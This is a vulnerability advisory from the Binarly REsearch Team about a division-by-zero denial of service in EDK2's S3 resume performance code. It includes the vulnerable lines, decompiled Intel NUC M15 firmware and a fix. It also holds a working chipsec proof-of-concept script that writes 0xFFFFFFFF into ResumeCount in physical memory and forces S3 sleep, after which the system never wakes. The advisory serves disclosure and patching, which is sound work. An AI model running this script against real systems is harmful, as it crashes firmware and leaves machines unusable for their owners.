By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.
The Binarly REsearch Team has identified a PEI-phase Denial of Service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.
By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.
The vulnerability is located on lines 114, 115 in the FpdtStatusCodeListenerPei
function.
AcpiS3ResumeRecord->ResumeCount++;
AcpiS3ResumeRecord->AverageResume = DivU64x32 (S3ResumeTotal + AcpiS3ResumeRecord->FullResume, AcpiS3ResumeRecord->ResumeCount);
An attacker with the ability to modify physical memory can control the value of AcpiS3ResumeRecord->ResumeCount
. If the attacker sets the value of ResumeCount
to 0xFFFFFFFF
, and ResumeCount
is subsequently incremented, its new value will be 0
(due to UINT32
overflow). Since there is no check for overflow, when ResumeCount
is 0
and passed as the second argument to DivU64x32()
, it will trigger a division by 0
, and cause a system crash, leading to a DoS.
In order to fix this vulnerability, it is necessary to verify that the ResumeCount
value != 0
after increment or != MAX_UINT32
before increment.
A decompiled code snippet containing a vulnerability in the latest Intel NUC M15 firmware (FirmwarePerformancePei
module) is shown below:
VarSize = 8;
RestoreLockBox(&FIRMWARE_PERFORMANCE_S3_POINTER_GUID, &S3PerformanceTablePointer, &VarSize);
AcpiS3PerformanceTable = S3PerformanceTablePointer;
if ( S3PerformanceTablePointer->Header.Signature != 'TP3S' )
return EFI_ABORTED;
ResumeCount = S3PerformanceTablePointer->S3Resume.ResumeCount;
LODWORD(AverageResume) = S3PerformanceTablePointer->S3Resume.AverageResume;
AverageResume_high = HIDWORD(S3PerformanceTablePointer->S3Resume.AverageResume);
LODWORD(S3PerformanceTablePointer->S3Resume.FullResume) = v4;
HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume) = v5;
HIDWORD(AverageResume) = AverageResume_high;
S3ResumeTotal = AverageResume * ResumeCount;
// possible UINT32 overflow (if S3Resume.ResumeCount = MAX_UINT32)
ResumeCount = ++AcpiS3PerformanceTable->S3Resume.ResumeCount;
FullResume = AcpiS3PerformanceTable->S3Resume.FullResume;
S3ResumeTotal_1 = S3ResumeTotal;
Sum = S3ResumeTotal + FullResume;
LODWORD(S3ResumeTotal) = HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume);
LODWORD(AverageResume) = Sum;
HIDWORD(AverageResume) = (__PAIR64__(S3ResumeTotal, S3ResumeTotal_1) + __PAIR64__(HIDWORD(S3ResumeTotal), FullResume)) >> 32;
// possible division by 0
HIDWORD(S3ResumeTotal) = HIDWORD(AverageResume) / ResumeCount;
LODWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = __PAIR64__(HIDWORD(AverageResume) % ResumeCount, Sum)
/ ResumeCount;
HIDWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = HIDWORD(S3ResumeTotal);
The PoC below demonstrates the exploitability of this vulnerability on the Intel NUC M15:
import os
import chipsec
import chipsec.chipset
import hexdump
cs = chipsec.chipset.cs()
cs.init(None, True, True)
# FPDT @ 0x0000000000000000
# 0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00 FPDTD.....INTEL.
# 0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20 NUCxi7A5G...AMI
# 0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55 .............@<U
# 0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54 ...............T
# 0040: 00 00 00 00
AcpiS3ResumeRecord = 0x54FA0000 # from FPDT ACPI Table
ResumeCountOffset = 0xC
cs.helper.write_physical_mem(
AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff"
)
hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32))
os.system("echo deep > /sys/power/mem_sleep")
os.system(
"rtcwake -m mem -s 3"
) # the system will never wake up due to a division by 0 at the PEI stage
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team